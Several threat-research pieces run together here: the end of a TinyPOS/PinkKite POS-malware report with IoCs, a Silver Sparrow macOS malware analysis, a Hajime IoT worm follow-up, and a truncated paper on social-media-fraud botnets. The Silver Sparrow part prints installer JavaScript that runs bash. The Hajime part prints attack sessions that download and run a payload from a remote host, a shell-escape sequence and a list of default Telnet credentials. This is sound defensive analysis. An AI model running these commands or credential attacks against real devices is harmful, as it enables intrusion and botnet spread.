hardware-based restrictions and outdated standards are an even greater concern. Magnetic strips (Track 1/2 type of data) are still being utilized due to the lack of EMV support world-wide. The EMV standard was originally written about 25 years ago, but adoption is much slower than expected. ### The liability factor There are numerous types of credit card fraud, with POS-based theft making up only one, shrinking piece of the whole. As total loss climbed up into the range of billions of dollars, banks were looking for a way to shift liability over to the merchants. In reality this means since 1 January 2005 (EU) and 1 October 2015 (U.S.) merchants are liable for all non EMV based transactions. As a result, adoption of EMV has increased momentum in the EU, but it is still lagging behind in other regions (mainly U.S. and Asia). ### The human factor An unfortunate side effect in the form of human (im)patience is also contributing to slower adoption of EMV. Swiping of a card is a quick and convenient way of making payments compared to entering at least four digits on a keypad. There are certain regions of the globe where people are reluctant to remember yet another PIN and don’t wish to be slowed down by the process. For them, new and emerging contactless payment methods will be welcome. While some of these are still asking for a PIN for transactions over a certain limit such as PayPass (and that limit may vary per country), there are also semi-limitless options like Apple Pay. ### The connectivity issue POS terminals can utilize different ways of communication for both in and outbound connections. Depending on the nature of the retailer, some might have strictly Ethernet cabling, but the likelihood of using Wi-Fi and 3/4G based communication is becoming more widespread. There are certain scenarios, i.e. taxis, where cabling is just not an option. Also, depending on the total number of terminals used and the network infrastructure, there might be servers dedicated to proxy requests towards the bank instead of every terminal having a direct connection. Whenever there is an unfiltered direct internet connection, there is a higher risk of data exfiltration going unnoticed. ## Forks of a common codebase One of the obvious questions is whether TinyPOS and PinkKite are really different malware families. The short answer is no, they are not different malware families. While it wouldn’t take a significant amount of time for cybercriminals to recreate the assembly source code of the components by reversing existing samples, there are certain improvements to the codebase - especially to the memory scraper code – which can be found in both. The main difference lies in the method of data exfiltration. TinyPOS variants aim for direct exfiltration over the internet, connecting to a pre-defined C2 and encrypting credit card data by a 32-bit key. The PinkKite approach is used in scenarios where direct exfiltration is not an option. Under such circumstances credit card data will be either stored on the local filesystem or the local network and encryption is done by a 64-bit key. The exfiltration process will be manual and will require persistence on the given system to access the previously saved data. As many PinkKite samples contain internal network addresses along with login credentials, it’s safe to assume operators of the malware are gaining these by hacking into target systems after the initial reconnaissance stage. ## Protecting against POS fraud ### Individuals First of all, you should make sure that your credit or debit card is EMV compliant. If it’s not then your only option is to use the magnetic strip and most of the time that also requires you to hand over your card to a 3rd party. Reaching out to the issuer of the card and negotiating a replacement – EMV-based, or one even supporting contactless payment - prior to the original expiration date is highly advised. ### Merchants The most important thing is to confirm the various connectivity options to and from the POS terminals prior to securing other aspects of the network. If the only option for terminals to reach out to the bank is through a proxy and no direct internet connection is provided, that can greatly reduce the chance of immediate data exfiltration. Also, in case maintaining and upgrading the terminals is handled by an external party, try to limit having open ports only for the duration of the scheduled sessions. ## Conclusion As we can see it doesn’t take hundreds or thousands of kilobytes of code to steal valuable credit card data on a large scale. The Tiny ecosystem is built from simple yet effective components – each one being responsible for a dedicated task – written in a low-level programming language that only very few programmers (i.e. people working with embedded systems) consider their ‘weapon of choice’. While Swipe-and-Sign exists as an authentication option for card-present transactions, POS malware like TinyPOS will continue to be effective. We strongly recommend that retailers and banks aggressively pursue a faster move to EMV (at least Chip-and-Signature, preferably Chip-and-PIN). It is also recommended that an audit be performed on any system storing and transmitting personal data in relation to how that data is managed and stored. The goal should be to make it harder for credit card data to be extracted from the retailer’s systems. This includes while in transit. ## Indicators of Compromise (IoC) **Mutexes** edcfix srvrcard carmahot s2lxza0d t0cnhig9 sqfinuk32 thmnhig9 hfDscs ntcrash xcm3264 fswinine fswinisrchx fswinisrchy fswinisrch fwnmsft winfx1xf **IPs and Ports** 194.165.16.165:19991 46.161.40.145:1393 179.43.147.209:40071 194.165.16.165:22143 46.161.40.145:17771 194.165.16.165:22144 46.161.40.145:4356 185.174.102.20:17771 194.165.16.165:22144 46.161.40.145:4357 185.183.160.137:6317 194.165.16.165:7450 46.161.40.145:4358 185.183.160.137:8181 194.165.16.165:7451 46.161.40.145:4360 185.248.100.188:7454 194.165.16.165:7453 46.161.40.145:4360 **Files (SHA1)** **Mappers** 16dd2043503d8b68075362095214f7fbdbb28a13 2a21258b6954f66d8c29d59e5430b0e139fffc57 31bca61b30feaf4f3d8505ba9ffd54e2a5d1ac25 3511a6d3bb94a59dd776f66a9fcdc8115707355c 5917b72c2e3cd20990036ac5a31e7c62d041afe1 7ebc1745c5f0a6ae42bd287706f01f6db2792ccb 83c2f1bbb94139a9a6028ea2f4e6d8aa39aa1d61 a85439890a3a9538420d63a93dfb6e12ed3a5ce7 bd04b3c0840580e072806074bd309b07e61c7599 cb0e0851ace1e670a6d7826c1d05c738a1bf9e12 e8acf26abdd614a06f435337fe7a21e51893869c **Cleaners** 4d181a749cea2fd82aa80f319336b08b8b961e6e 6a5eca33e5fe702ff4fe3eb47a7b42c85b1473ae 7719cd1cf007906e22b1028fe5ee65440eec3d33 860060d72ce8f0a1030110586d7b5db6d2bb8036 8eea84d8926dce44663ae1993f2623af3f40ab3b b07baff55d9a43d93246583d34f62db7127787ca d0af2c082d8e6ca707e4fb768715dc8974ca62be e8fee73aaafd8b9e75441c9767ab50a7ce5f9c31 **Memory scrapers** 00a46a475d56b0e56e0522d6736330935aa64984 051286924a39d9c100c131f7d48600d20d465cb7 115eaef370396843a9e28215b7267ec9559f45f3 15e8c23c989ebf7df86f831b4c400abdde9f631b 1ad1019b1463216bde562ab1a60c877b8da4d7f5 1b7fc7aaaca65c0c12222ac51e7f02f198266b07 1d9e2bb347b6d0a0b341926a603c8f0daf25bf09 1de5d87aa3f4410a18157ce2bf8d37685e908798 1f98c55b57036ffac6fa08c0cef3cfe54a5a6dad 23f3dfe9d07e82da22f7f597ae59a20f3e0bb0a2 268f6d661c5c51053161768cbadf38930b56cf09 26bdfe45a89956686cae31f9c02d1cd54de486b1 291eae72a8e461fb3165be87f75e51fae7384b1f 2ba124738f1bcf27bb2a598307309e7485cccb46 2d1d69a09985b0572a1bfcb04f1a647370592511 32837616c06390831aa9a73f314819bacfa94db9 342f66035ed3485a3941992b7538410928cafbf3 39273383aaf7e8e355f81fd8318a4b0306fc9573 41c9f1e2853e550ec2bb64efc40a553abec0365e 44854f7a8f4ae2c2c46d8a008b0988e515bc588d 4d17bdb94e2999cdf8f81d2689489d4269896ff4 5021a421a93d0550b89cf3d547232b34bf1b4b93 523923a402e468185614888ae65e1dd7df314e47 531f5cd44f6363096aa162bb4edc1a0a4b6f3bf6 537df154deebafdc269d056994fde2100feec1c1 5725bce50fb1dfb92b67eb831a0ac4fb41df2cba 58a6a7da1e7d9fc96773681c33ea8634b212b178 5bed33f29ee823c742100dabe5754fbe32521ea8 5c4ec897c48dfbfe5282ce514ab8380734d2cb67 5e7d26565f0131b285404065caf600f8464a45b5 66a008091f01824b72c4619ec75fddc9064bf695 67db6a595d3c8c93a996d9cc5cf309f286d7b617 6afbd9981837b43866dd89235081b0a138f8ceea 6c28d0ebe7ca0dedaa6b67564f5b9d5493927d6a 6e1487e033c5a159c1a0a7a43609bc5856daebe3 72861b46616b5bbb9fc11177e756787014f610b4 **Downloaders** 028742c5c6b3deefde295ed9ecf95fa98c04dd4c 02968031a3afbd3447449e118f6e89f49853e5cf 031c3db8e0490a4379571bae2845742897b744b4 048252f13ec38b88df0ac00a3afef6f3226e0718 0486218f663b18db97d47ac5c10cbe16caf29ffe 0626ab3fe9156b44e07b9c4c1a86516021ec4ae8 09689a26b45f5a7339d327557f3827ac229d8c20 0a76fa8dac5ff5d6420cf1c75f2823e502c3ecf0 0ab364bd8b6a3b88594012c130fd473bdb3ee6ef 0c28d29d57ff72df7b3ad1042d14dcb9a1c16d90 0e30d6dfec2b296c5d40baab2f88266e239cc4bc 0e7cef887e54962ee4d5dd810b95030b7623b870 0f438238665eb82b756acf1ec7e566b7909b4960 109f9e62014e14c5c9605c1f01d0603e26a915bd 3f64a3910ed8a4e33c115438ed455d9de5ffde40 121a259fdce337ea7cb1e7499a0ce7a797721c5c 126b62a33bc8598f0e4c58c3b2bc657e2b3375b2 132cf9d6db8dd64786568d445ce8b650d6f406a7 13834ad9ac1833c83521755b09074b38f9033236 16634b627e38c076a5423d2164b1a594587f9a9c 17722edacb2d367391eb41d09d79e3356d225cf7 17a8ea843d8e0fb929e637d3e6f1ad26b8982347 1820082cdcc7665d07a169ba33d0dd6105bde422 1982eaf61effd0229f272846a7728406482ba3bf 1a445c92b2bfd5480525c075ec577609d1af7ca1 1ce7c92db916b73e3182f17670b7d550cb76718c 1d5ce7d15643646a28ab148691c18047cf8fb9ee 1e63aaaa4eb4ba61b48caa642e7743745ff81c89 1ecb9b3124cc4b51afda45fe732ef1243b39a8c9 1f4c0ac87218c12cfd02e856a8e7a61027dd5e10 207ff0f630e430d25c788ea6d4ea3bbacfeb33d9 20a4820dd61e5d3115630162ac19f630a688198b 215ed11523ea6a4d918acb09559823a337b62834 2177ba22e9724f7826ff8511663e28a1c29232c2 25cf7e8c92fb13a96108aaa596adb228117f8765 26389a6904b29dbbb90e20825eaec7e2f55b59b4 276660481dc2655e8b15cbd4de2007866e77b463 282b6e6cff447ccd0525e9074f8b68f8060c640e 28522dab2b86976460d60891eae13a8013a2eb5a 29bd8b56bcdb53b13a264bdcd76150ff41756645 2afef3be6fb9348ce4876f5d1d726b90685d5a91 2b8f7f7b6af03dcdead6430e26c3dcd3206be497 2bb5236ce95c1e8db044520866532c559c685cac 2c0fa9ba6152e0e6ea5f80657bfe1898c021b633 2f486bf55b43aa39e0a64ec0295d715232a85607 2f791f72e4965454c3e4bdeecb9c22caf0e5c14a 322e95fcff92ac692c32367caccb89bffbf3556b 3500a97643488ffb5d21339f621b85169b0c7fad 35676293efca634603cf3e3ef65961ff92e78199
# Clipping Silver Sparrow’s Wings: Outing macOS Malware Before It Takes Flight Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but lacks one very important feature: a payload. UPDATE on 05/21/2021: A previous version of this blog stated that, “…Silver Sparrow had infected 29,139 macOS endpoints….” We have updated it to state that the Silver Sparrow activity cluster affected 29,139 macOS endpoints. This distinction may seem small, but it’s important because the Silver Sparrow activity cluster comprises multiple artifacts, including clearly malicious files and unusual or suspicious ones too. One file we chose to include in the cluster is the `._insu` file that seems to instruct the malware to remove itself from an endpoint. A subset of those 29,139 machines were infected by one of the two malicious packages described in this blog, while the majority contained the `._insu` file check and were therefore affected by the overall Silver Sparrow activity cluster as we define it. Other teams may cluster this activity differently based on their assessments. Earlier this month, Red Canary detection engineers Wes Hurd and Jason Killam came across a strain of macOS malware using a LaunchAgent to establish persistence. Nothing new there. However, our investigation almost immediately revealed that this malware, whatever it was, did not exhibit the behaviors that we’ve come to expect from the usual adware that so often targets macOS systems. The novelty of this downloader arises primarily from the way it uses JavaScript for execution—something we hadn’t previously encountered in other macOS malware—and the emergence of a related binary compiled for Apple’s new M1 ARM64 architecture. We’ve dubbed this activity cluster “Silver Sparrow.” Thanks to contributions from Erika Noerenberg and Thomas Reed from Malwarebytes and Jimmy Astle from VMware Carbon Black, we quickly realized that we were dealing with what appeared to be a previously undetected strain of malware. According to data provided by Malwarebytes, the Silver Sparrow activity cluster affected 29,139 macOS endpoints across 153 countries as of February 17, including high volumes of detection in the United States, the United Kingdom, Canada, France, and Germany. Though we haven’t observed Silver Sparrow delivering additional malicious payloads yet, its forward-looking M1 chip compatibility, global reach, relatively high infection rate, and operational maturity suggest Silver Sparrow is a reasonably serious threat, uniquely positioned to deliver a potentially impactful payload at a moment’s notice. Given these causes for concern, in the spirit of transparency, we wanted to share everything we know with the broader infosec industry sooner rather than later. ## Technical Analysis ### What We Analyzed Our investigation uncovered two versions of Silver Sparrow malware, which we will refer to as “version 1” and “version 2” throughout this post: - **Malware version 1** - File name: `updater.pkg` (installer package for v1) - MD5: `30c9bc7d40454e501c358f77449071aa` - **Malware version 2** - File name: `update.pkg` (installer package for v2) - MD5: `fdd6fb2b1dfe07b0e57d4cbfef9c8149` Outside of a change in download URLs and script comments, the two versions had only one major difference. The first version contained a Mach-O binary compiled for Intel x86_64 architecture only. In the second version, the adversary included a Mach-O binary compiled for both Intel x86_64 and M1 ARM64 architectures. This is significant because the M1 ARM64 architecture is young, and researchers have uncovered very few threats for the new platform. As we’ll explain in detail in the technical analysis, the Mach-O compiled binaries don’t seem to do all that much—at least not as of this writing—and so we’ve been calling them “bystander binaries.” ### JavaScript in the Installer We’ve found that many macOS threats are distributed through malicious advertisements as single, self-contained installers in PKG or DMG form, masquerading as a legitimate application—such as Adobe Flash Player—or as updates. In this case, however, the adversary distributed the malware in two distinct packages: `updater.pkg` and `update.pkg`. Both versions use the same techniques to execute, differing only in the compilation of the bystander binary. The first novel and noteworthy thing about Silver Sparrow is that its installer packages leverage the macOS Installer JavaScript API to execute suspicious commands. While we’ve observed legitimate software doing this, this is the first instance we’ve observed it in malware. This is a deviation from behavior we usually observe in malicious macOS installers, which generally use preinstall or postinstall scripts to execute commands. The entry point to the code lives within the package’s Distribution definition XML file, which contains an installation-check tag specifying what function to execute during the “Installation Check” phase. The installer used three JavaScript functions for all the heavy lifting inside the “installation_check()” function: ```javascript function bash(command) { system.run('/bin/bash', '-c', command) } function appendLine(line, file) { bash(`printf "%b\n" '${line}' >> ${file}`) } function appendLinex(line, file) { bash(`"echo" ${line} >> ${file}`) } function appendLiney(line, file) { bash(`printf "%b" '${line}' >> ${file}`) } ``` Note that in the code above, Silver Sparrow uses Apple’s `system.run` command for execution. By taking this route, the malware causes the installer to spawn multiple bash processes that it can then use to accomplish its objectives. The functions `appendLine`, `appendLinex`, and `appendLiney` extend the bash commands with arguments that write input to files on disk. Silver Sparrow writes each of its components out line by line with JavaScript commands. Once all the commands get written, two new scripts exist on disk: `/tmp/agent.sh` and `~/Library/Application Support/verx_updater/verx.sh`. The `agent.sh` script executes immediately at the end of the installation to contact an adversary-controlled system and indicate that installation occurred. The `verx.sh` script executes periodically because of a persistent LaunchAgent to contact a remote host for more information. ### Command and Control (C2) Every hour, the persistence LaunchAgent tells `launchd` to execute a shell script that downloads a JSON file to disk, converts it into a plist, and uses its properties to determine further actions. The structure of the downloaded `version.json` file looks like this: ```json {"version":2,"label":"verx","args":"upbuchupsf","dls":4320,"run":true,"loc":"~\/Libra"} ``` Silver Sparrow’s use of infrastructure hosted on AWS S3 is interesting because AWS offers a highly available and resilient file distribution method. The adversary can create a bucket, serve out files, and operate without worrying about the additional network administration and overhead associated with doing all of this in house. ### Mysteries on Mysteries In addition to the payload mystery, Silver Sparrow includes a file check that causes the removal of all persistence mechanisms and scripts. It checks for the presence of `~/Library/._insu` on disk, and, if the file is present, Silver Sparrow removes all of its components from the endpoint. The presence of this feature is also something of a mystery. ```bash if [ -f ~/Library/._insu ]; then rm ~/Library/Launchagents/verx.plist rm ~/Library/Launchagents/init_verx.plist rm /tmp/version.json rm /tmp/version.plist rm /tmp/verx rm -r ~/Library/Application\\ Support/verx_updater rm /tmp/agent.sh launchctl remove init_verx fi ``` The `._insu` file does not appear present by default on macOS, and we currently don’t know the circumstances under which the file appears. ### Detection Opportunities The following section includes descriptions of the analytics that have helped us detect the Silver Sparrow downloader. That said, we didn’t build these analytics specifically for the purpose of detecting Silver Sparrow, so they may be useful for detecting a wide array of macOS threats. - Look for a process that appears to be `PlistBuddy` executing in conjunction with a command line containing the following: `LaunchAgents` and `RunAtLoad` and `true`. - Look for a process that appears to be `sqlite3` executing in conjunction with a command line that contains: `LSQuarantine`. - Look for a process that appears to be `curl` executing in conjunction with a command line that contains: `s3.amazonaws.com`. ### Indicators of Compromise **In Versions 1 & 2** - `~/Library/._insu` (empty file used to signal the malware to delete itself) - `/tmp/agent.sh` (shell script executed for installation callback) - `/tmp/version.json` (file downloaded from S3 to determine execution flow) - `/tmp/version.plist` (version.json converted into a property list) **Malware Version 1** - File name: `updater.pkg` (installer package for v1) - MD5: `30c9bc7d40454e501c358f77449071aa` - File name: `updater` (bystander Mach-O Intel binary in v1 package) - MD5: `c668003c9c5b1689ba47a431512b03cc` - `mobiletraits.s3.amazonaws[.]com` (S3 bucket holding version.json for v1) - `~/Library/Application Support/agent_updater/agent.sh` (v1 script that executes every hour) - `~/Library/Launchagents/agent.plist` (v1 persistence mechanism) **Malware Version 2** - File name: `update.pkg` (installer package for v2) - MD5: `fdd6fb2b1dfe07b0e57d4cbfef9c8149` - `tasker.app/Contents/MacOS/tasker` (bystander Mach-O Intel & M1 binary in v2) - MD5: `b370191228fef82635e39a137be470af` - `specialattributes.s3.amazonaws[.]com` (S3 bucket holding version.json for v2) - `~/Library/Application Support/verx_updater/verx.sh` (v2 script that executes every hour) - `~/Library/Launchagents/verx.plist` (v2 persistence mechanism) If you’ve been tracking similar activity, we’d love to hear from you and collaborate. Contact [email protected] with any observations or questions.
# Hajime: A Follow-up Hajime is a decentralized modular worm that targets embedded devices with Telnet exposed to the internet. Its binaries are built for Linux devices with ARMv5, ARMv6, ARMv7, MIPS little-endian, and MIPS big-endian processor architectures. It was originally discovered by Sam Edwards and I of Rapidity Networks SRG, and its behavior was outlined in a paper. Ever since the release of the aforementioned paper on October 16th, 2016, there have been a series of changes as to how Hajime operates. The atk module now checks for the presence of wget and uses it in place of its own stager if available. It checks whether wget exists by running the following command: ``` nc; wget; /bin/busybox UXVMW ``` And checking its output for the strings “wget: applet not found” or “wget: not found”. The request URI is always: ``` rm .s; wget http://x.x.x.x:10363/.i; chmod +x .i; ./.i; exit ``` Similarly, the atk module (formerly named exp) now also features a minimal HTTP web server for spreading stage2s, listening on an unprivileged random port (>= 1024). It serves the stage2 corresponding to the architecture of the device that it is infecting regardless of the request URI, as long as the request method is GET. The response is as follows: ``` HTTP/1.0 200 OK Content-Type: application/octet-stream Content-Length: *size of stage2* *payload* ``` The atk module now attempts to port-forward the ports it uses to spread through the use of UPnP’s AddPortMapping SOAP command. There has been a complete overhaul of the scanning/attack logic. The atk module now selects a random 5-letter uppercase alphabetic string as the BusyBox applet name for its command output delimiter (formerly “ECCHI”). The atk module is now capable of infecting ARRIS modems by using the password-of-the-day “backdoor” with the default seed. It does so by checking for the Arris telnet banner upon connection. Upon successful login, Hajime now tries a variety of shell escape vulnerabilities to attempt to drop out of any potential restricted shells. On non-Arris devices, the attempted commands are (in respective order): - enable - shell - sh On Arris devices, the attempted commands are (in respective order): - system - ping ; sh The latter has also been observed to be in use by LuaBot. The atk module now has a significantly larger table of credentials (formerly 12 combinations, now 63): ``` Username Password root xc3511 root vizxv root admin admin admin root 888888 root xmhdipc root default root juantech root 123456 root 54321 support support root root admin password root 12345 user user admin admin1234 root 1111 admin smcadmin admin 1111 root 666666 root password root 1234 root klv123 Administrator admin service service supervisor supervisor guest guest guest 12345 admin1 password administrator 1234 666666 666666 888888 888888 ubnt ubnt root klv1234 root Zte521 root hi3518 root jvbzd root anko root zlxx. root 7ujMko0vizxv root 7ujMko0admin root system root ikwb root dreambox root realtek root 00000000 admin 1111111 admin 1234 admin 12345 admin 54321 admin 123456 admin 7ujMko0admin admin 1234 admin pass admin meinsm tech tech mother fucker root 5up Admin 5up ``` Upon its startup, the stage2 now attempts to block a series of ports on the infected device through the use of iptables: ``` iptables -A INPUT -p tcp --destination-port 23 -j DROP iptables -A INPUT -p tcp --destination-port 7547 -j DROP iptables -A INPUT -p tcp --destination-port 5555 -j DROP iptables -A INPUT -p tcp --destination-port 5358 -j DROP ``` It also attempts to drop an INPUT chain named “CWMP_CR”: ``` iptables -D INPUT -j CWMP_CR iptables -X CWMP_CR ``` The public/private keys as well as the RC4 key derived by the key exchange are no longer static, as the misuse of C’s rand function has since been fixed by the author. Config files can now contain a new section, [info], containing messages from the author. The string under that section is printed to the standard output, and appears to be aimed at researchers that are debugging Hajime. The info section of the current config as of April 13, 2017, is as follows: ``` Just a white hat, securing some systems. Important messages will be signed like this! Hajime Author. Contact CLOSED Stay sharp! ``` ## Example Hajime Attack Session (Arris Banner, ARMv7 Platform, No Wget Available): ``` 1G3IL4R495 system ping ; sh cat /proc/mounts; /bin/busybox PSLQP cd /var; (cat .s || cp /bin/echo .s); /bin/busybox PSLQP nc; wget; /bin/busybox PSLQP (dd bs=52 count=1 if=.s || cat .s) /bin/busybox PSLQP >.s; cp .s .i echo -ne "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01" >> .s echo -ne "\x00\x00\x01\x00\xf8\x00\x00\x00\xf8\x00\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x02" >> .s echo -ne "\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0\x8d\xe2\x4f" >> .s echo -ne "\x00\x50\x85\xe0\x00\x00\x50\xe3\x04\x00\x00\xda\x00\x20\xa0\xe1\x01\x00\xa0\xe3\x04" >> .s echo -ne "\x62\x69\x00\x01\x1c\x00\x00\x00\x05\x43\x6f\x72\x74\x65\x78\x2d\x41\x35\x00\x06\x0a" >> .s echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" >> .s echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03" >> .s echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x01\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00\x00" >> .s ./.s>.i; chmod +x .i; ./.i; rm .s; exit ``` ## Example Hajime Attack Session (Arris Banner, ARMv7 Platform, Wget Available): ``` 1G3IL4R495 system ping ; sh cat /proc/mounts; /bin/busybox UXVMW cd /var; (cat .s || cp /bin/echo .s); /bin/busybox UXVMW nc; wget; /bin/busybox UXVMW (dd bs=52 count=1 if=.s || cat .s) /bin/busybox UXVMW rm .s; wget http://x.x.x.x:10363/.i; chmod +x .i; ./.i; exit ``` Note that the first line on both sessions is the Arris password-of-the-day for April 13th, 2017. The above research was conducted through the analysis of the following Hajime samples: **File name:** .i.arm7.1485239580 **Hashes:** MD5: 2e9dd2e43e866a26c44ceccc129e0c52 SHA1: c2b82c322cfd0f61d234267a99bb848898fe54ea SHA256: e3a4120c1f2ec3d430ad95f567179280d657739dd906053d0e9b6d45d59ffa93 SHA512: 74e160a752517fcc28c49efbb326689197d2b2f7bd7c365aaaed511c2e9565c90509b61520b9a117bafae2 **File name:** atk.arm7.1485239515 **Hashes:** MD5: 359779e208d59d84a9b58a278be5345b SHA1: 14ac6ea9736ae013071995dff535c34ebb411143 SHA256: c02cb27fee760a29d990cecfb029b64aa2abbc349fa2a9c17b2438add3af4da0 SHA512: 9e4e8be435613f08380d057e4d0cf0532308c69e82fe9fe9c951d47b65ac4166db83cafe043617d474fb07 A repository containing the filenames and hashes of all known Hajime configurations and binaries can be found at GitHub. Samples are also automatically submitted to VirusTotal for analysis.
# Uncovering the Wholesale Industry of Social Media Fraud: From Botnets to Bulk Reseller Panels **Masarah Paquet-Clouston & Olivier Bilodeau** GoSecure, Canada {mcpc, obilodeau}@gosecure.ca ## Abstract There is no doubt that there has been an increasing interest in understanding the industry of social media fraud (SMF) – which is the process of creating fake ‘likes’ and ‘follows’ on online social networks (OSN) – and its potential deceptive capabilities. This paper explores an undocumented segment of this industry: wholesaling, from botnet supply operations to bulk reselling. To begin, the paper focuses on a previously unexplored aspect of Linux/Moose, an IoT botnet conducting SMF. Linux/Moose infects devices in order to use them as proxies to relay traffic to social networks. Its architecture includes a whitelist of IP addresses that can push traffic through those proxies – a feature reminiscent of a reseller model. We analyze the traffic fingerprints left by each IP address on the systems we infected and uncover the value of the whitelisted IPs, which is not what we had anticipated. Then, we collect information on bulk reseller panels, the direct working partners of the botnet operators. While analyzing their striking similarities, we discover a new key actor in the industry: the software panel seller. We investigate the panels in an attempt to understand how they are connected to main SMF providers like Linux/Moose. Finally, we map the SMF supply chain, discuss key actors that, if targeted, would disrupt the entire industry and show the likely unequal revenue division in the chain. This is a first review study of the wholesale industry of SMF. It provides key insights for actors willing to curb this illicit activity, from law enforcement agencies to policy makers and cybersecurity professionals. ## 1. Introduction Online social networks (OSN) have become excellent vehicles for marketing, to gain visibility and subsequent influence. They have also become a powerful tool for online manipulation, with erroneous and misleading information being widely distributed on them. Among other fraudulent practices, buying fake visibility through an illicit market for social media fraud (SMF) is a common practice undertaken by many, as reported in journalistic investigations and studies. Such practices seem benign at first, but fortunately, law enforcement organizations have started to become aware of the potential for harm they create, such as information manipulation. In January 2018, the New York Attorney General launched an investigation against a social media marketing company, named Devumi, that sold SMF to a wide variety of customers. The criminal investigation was set in motion since some of the fake accounts sold appeared to commit identity theft. Yet, there is much more criminal activity behind SMF, and customer-facing companies like Devumi are only the tip of the iceberg. The SMF industry involves multiple actors all contributing, to a certain degree, to illicit activities. This explanatory study establishes the link between these actors, from malware authors to final SMF customers, bringing key insights for law enforcement agencies, policy makers, and cybersecurity professionals willing to curb the activity of this illicit industry. ## 2. SMF Botnet: Linux/Moose and Its Whitelist of IP Addresses The production of millions of fake accounts to conduct SMF requires automation, which can be done through a botnet – a key actor in the SMF supply chain. Fortunately, in the past two years, we have investigated such a botnet, named Linux/Moose. We begin this section by briefly presenting the botnet, the different steps we undertook to investigate its operations, and the conclusions we have reached so far. Linux/Moose infects embedded Linux systems of MIPS or ARM architectures, specifically avoiding x86, such as routers and IoT devices. Just like other well-known IoT botnets, it has a worm-like behavior, brute forcing Telnet credentials with simple combinations of usernames and passwords. Its main payload is a proxy service that can do SOCKSv4/v5, HTTP, and HTTPS, using the infected devices to relay traffic. This allows the botnet operator(s) to hide behind thousands – if not hundreds of thousands – of clean IP addresses. To study the botnet’s operations, we built honeypots and infected them with the Linux/Moose malware. We then accessed the content of the encrypted traffic by performing a man-in-the-middle attack using the mitmproxy tool. The whole procedure for the honeypots’ creation and infection, as well as the man-in-the-middle attack on the encrypted traffic, is detailed in the white paper ‘EGO MARKET: When Greed for Fame Benefits Large-Scale Botnets’. Our analysis showed that Linux/Moose’s traffic is directed towards various OSNs but mainly to Instagram, which represents 86% of the HTTPS requests we studied. On Instagram, fake accounts are created and then leveraged to conduct likes and follows on various profiles. Cunningly, to ensure that the fraudulent operations are not caught by the OSN’s anti-bot algorithms, human-like behaviors are scripted by the botnet operator(s). During the investigation, the profiles followed by the botnet were identified as belonging mainly to members of the entertainment industry (e.g., actors/actresses, singers, newscasters/talk show hosts), small online shops, and ordinary people, illustrating that the demand for fake online popularity is vast. ## 2.1 The Similarities in Traffic Fingerprints of Each Whitelisted IP Address The results of the analyses did not confirm our hypothesis but rather refuted it. They show many similarities in the traffic fingerprints of each whitelisted IP address, forcing us to assume that they are probably controlled by the same actor. ### 2.1.1 Honeypots Used We looked to see if each honeypot, depending on where it was hosted in the world, was related to a specific IP address in the whitelist. However, we found no distinctive patterns: each IP sent traffic to almost all honeypots, regardless of where they were hosted in the world. ### 2.1.2 TLS Fingerprints We then analyzed the Transport Layer Security (TLS) fingerprints of each whitelisted IP address to see if different underlying technologies were used by each of them. TLS fingerprints can be found in ‘client hello’ connections, which is where the connection handshake takes place between the client and the server to find the adequate cryptographic elements that will be used during the connection. In this study, all whitelisted IP addresses used, in most of their connection handshakes, the same TLS fingerprints, except for one. We could not find any distinctive patterns. ### 2.1.3 Websites Targeted We probed the IP addresses from the whitelist to find out if each was specialized in conducting SMF on a single OSN. Yet, no specialization was found, as each IP address sent traffic to various OSNs. ### 2.1.4 User-Agents We investigated the User-Agent component of each HTTP header, thinking that each actor behind the whitelisted IP addresses could have used different fake User-Agents. We found 3,952 different User-Agents all used by the seven whitelisted IP addresses and varying in terms of browser, phone, library, and application types. Most of the User-Agents were used in batches of a few dozen requests, following the scripted patterns for account or friendship/like creations on each OSN. ### 2.1.5 API Calls Finally, we looked at the way the OSN API was used by each whitelisted IP address, focusing on Instagram (the main OSN targeted by Linux/Moose). We found that all IP addresses in the whitelist used either the REST or the AJAX API alternatively, with the same sequence of actions imitating humans. ## 3. Investigating Reseller Panels This section presents our brief analysis of reseller panels, which can be considered as the middle-man in the supply chain, connecting customer-facing sellers, like the social media marketing company Devumi, to main SMF providers, like Linux/Moose. We start by presenting the data collection and the different analytical steps taken to evaluate the striking similarities in reseller panels that brought us to uncover a key actor in the supply chain: software panel sellers. ### 3.1 Data Collection To evaluate these actors, we started by collecting information, searching web pages containing keywords about SMF wholesaling, such as ‘smm bulk’, ‘smm panel’, and ‘smm reseller’. We discovered a total of 735 web pages that could be related to SMF wholesaling. We went through each of them manually to determine whether the web page was an actual reseller panel or something else. Out of these 735 web pages, 343 were up and represented what we were seeking. ### 3.2 Similarities in Reseller Panels: Software Panel Sellers Many of the 343 web pages looked similar, raising our first assumption that a small number of actors could be behind SMF reselling. To confirm this, we correlated the reCAPTCHA SiteKey found in the signup page of the software panel seller with the ones found in the signup pages of the active domains hosted on the same IP address. This allowed us to confirm that the cluster found in the data represented a software panel seller and its related clients. ### 3.3 From SMF Reseller Panels to Main Providers We tried to find the direct link between SMF reseller panels and main providers, like Linux/Moose. We discovered that all software panels provide API access for customers to automatically send orders to them and offer the possibility to complete the received orders manually or use an API to automate the process. ## 4. The Industry of Social Media Fraud Drawing from our findings, we present the potential SMF supply chain, discuss the link between the actors, and examine the key ones that could disrupt the industry. ### 4.1 The Supplying Process Understanding the purpose of Linux/Moose’s whitelist, as well as evaluating reseller panels, gave us an interesting overview of the potential SMF supply process. ### 4.2 Disrupting the SMF Industry One could decide to disrupt the SMF industry by taking down the main providers in the supply chain – botnets – as they are the ones involved in criminal activities. Yet, such action is a lengthy task that requires technical skills and international cooperation among law enforcement agencies. ### 4.3 Unequal Revenue Division in the Supply Chain Lastly, let’s briefly discuss the unequal revenue division found in this supply chain. Indeed, based on a previous study that gathered information on SMF prices of customer-facing sellers, the medium price for 1,000 followers on Instagram is estimated at 13 USD. On reseller 